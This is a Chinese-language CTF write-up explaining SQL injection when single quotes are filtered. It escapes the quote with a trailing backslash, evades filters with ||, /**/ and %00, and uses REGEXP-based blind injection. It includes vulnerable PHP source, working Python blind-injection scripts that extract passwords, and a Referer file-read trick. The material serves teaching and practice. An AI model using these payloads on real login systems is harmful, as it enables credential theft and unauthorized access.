0x00 前言
通常來說,在進行字符型的SQL注入時,都需要先將前面的引號等(以單引號爲例)進行閉合才能執行我們構造的SQL語句,那麼如果單引號被過濾了,是否還能夠成功的SQL注入呢?
答案是可以,當你在判斷登錄時使用的是如下SQL語句:
select user from user where user='$_POST[username]' and password='$_POST[password]';
那麼即使在過濾的時候將單引號過濾掉了,還是可以進行一定程度上的注入的,下面通過兩道CTF題來進行介紹。
0x01 [BJDCTF 2020]簡單注入
進入題目後就是一個登錄框,名字也提示了要注入:
掃描目錄發現hint.txt中的提示:
告訴了我們登錄的sql語句:
select * from users where username='$_POST["username"]' and password='$_POST["password"]';
稍微fuzz一下可以發現過濾了'
、"
、=
、-
、and
、select
等關鍵詞,其中關鍵就是這個單引號,由hint已知這裏是需要單引號進行閉合的,而單引號又被過濾了。
可以發現註釋符#
和反斜槓\
並沒有被過濾,既然註釋符沒有過濾,那麼我們就可以註釋掉最後一個單引號,這樣就只剩下3個單引號需要處理。
而如果我們輸入的用戶名以反斜槓\
結尾,例如POST:username=admin\&password=123456#
,那麼拼接進去後,\
就可以將第2個單引號轉義掉,如下:
select * from users where username='admin\' and password='123456#';
這樣第1個單引號就會找第3個單引號進行閉合,後臺接收到的username實際上是admin\' and password=
這個整體,而這個用戶名顯然不存在,所以還是登錄失敗。
但是別忘了我們還有一個password變量可控,實際上我們已經解決了單引號的閉合問題了,下面的就是常規的思路,比如我們構造password爲or 2>1#
那麼拼接後的sql語句就爲:
select * from users where username='admin\' and password=' or 2>1#';
很顯然上面的語句會返回爲真,通過這樣的思路,我們就可以進行bool盲注:
最終腳本如下:
import requests
s = requests.Session()
url = 'http://6644a23a-145c-40a9-a969-90ff1f80ac4d.node3.buuoj.cn/'
flag = ''
def exp(i, j):
payload = f"or (ascii(substr(password,{i},1))>{j})#"
data = {
"username": "admin\\",
"password": payload
}
r = s.post(url, data=data)
if "BJD needs to be stronger" in r.text:
return True
else:
return False
for i in range(1, 100):
low = 32
high = 127
while (low <= high):
mid = (low + high)//2
if (exp(i, mid)):
low = mid + 1
else:
high = mid - 1
flag += chr((low+high+1)//2)
print(flag)
運行腳本得到admin的密碼:OhyOuFOuNdit,登錄即可得到flag。
0x02 某道CTF入羣題
同樣也是一到登陸題,在check.php
中給出了源碼如下:
<?php
include "config.php";
error_reporting(0);
highlight_file(__FILE__);
$check_list = "/into|load_file|0x|outfile|by|substr|base|echo|hex|mid|like|or|char|union|or|select|greatest|%00|_|\'|admin|limit|=_| |in|<|>|-|user|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i";
if(preg_match($check_list, $_POST['username'])){
die('<h1>Hacking first,then login!Username is very special.</h1>');
}
if(preg_match($check_list, $_POST['passwd'])){
die('<h1>Hacking first,then login!No easy password.</h1>');
}
$query="select user from user where user='$_POST[username]' and passwd='$_POST[passwd]'";
$result = mysql_query($query);
$result = mysql_fetch_array($result);
$passwd = mysql_fetch_array(mysql_query("select passwd from user where user='admin'"));
if($result['user']){
echo "<h1>Welcome to CTF Training!Please login as role of admin!</h1>";
}
if(($passwd['passwd'])&&($passwd['passwd'] === $_POST['passwd'])){
$url = $_SERVER["HTTP_REFERER"];
$parts = parse_url($url);
if(empty($parts['host']) || $parts['host'] != 'localhost'){
die('<h1>The website only can come from localhost!You are not admin!</h1>');
}
else{
readfile($url);
}
}
?>
可以看到這一題的sql語句同樣是下面這樣:
select user from user where user='$_POST[username]' and passwd='$_POST[passwd]'
只不過過濾了更多的東西,下面思考如果進行繞過:
or
可以用||
進行繞過。- 用
%00
繞過註釋符#、--
的過濾
(雖然%00
在過濾列表中,但由於瀏覽器在傳給php過程中會經過一次urldecode(),所以php接收到的並不是%00
) - 用
/**/
繞過空格的過濾。 - 如果我們只需要得到
user
表下password
字段的值,因爲是在同一條語句中,所以select
等查詢語句的過濾對我們沒有影響。 - 反斜槓
\
沒被過濾,思路還是利用轉義單引號來構造閉合,然後再在password字段構造盲注語句進行注入。
現在就是如何構造盲注語句,常用的=
、>
、<
、like
等邏輯運算都被過濾掉了,這時候就需要用到REGEXP正則注入。
在MySQL中除了可以使用LIKE ..%
進行模糊匹配,同樣也支持正則表達式的匹配,其使用REGEXP 操作符來進行正則表達式匹配。
正則表達式的規則就類似於PHP 或 Perl,下表中的正則模式可應用於 REGEXP 操作符中:
查找以Le
開頭的用戶名:
查找以ck
結尾的用戶名:
回到題目中來,我們嘗試將按照題目的sql邏輯構造如下語句:、
發現是能夠進行真假判斷的,如果第一個字母猜對了,我們只需要接着判斷前兩位的開頭是否正確即可,然後以此類推,直到猜出全部字段的值:
在題目中進行一下驗證,利用Intruder模塊爆破一下:
可以看到在以d
和D
開頭時都返回了真,是因爲使用regexp正則匹配時是不區分大小寫,通常來說只需要加上binary
即可解決這個問題,如||binart/**/passwd/**/regexp/**/"^a";%00
,但是這一題過濾了in
,所以目前我還沒有想到好的方法進行大小寫匹配。
但實際上這一題的密碼都是由小寫組成的,否則就只能去遍歷所有情況進行爆破了。
最終的腳本如下:
import requests
s = requests.Session()
url = "http://47.102.127.194:8801/check.php"
str = '1234567890qwertyuiopasdfghjklzxcvbnm'
temp = ""
flag = ""
for i in range(30):
for j in str:
temp = flag
temp += j
#注意%00要用\00表示
payload = f"||passwd/**/regexp/**/\"^{temp}\";\00"
data = {
"username":"\\",
"passwd":payload
}
r = s.post(url, data=data)
if "CTF Training" in r.text:
flag = temp
print(flag)
break
運行腳本得到密碼:d0itr1ght
得到密碼後,後面的就比較簡單了,admin
用adm/**/in
繞過,然後用Referer利用file://localhost/..
僞造本地讀文件即可:
源碼中得到flag: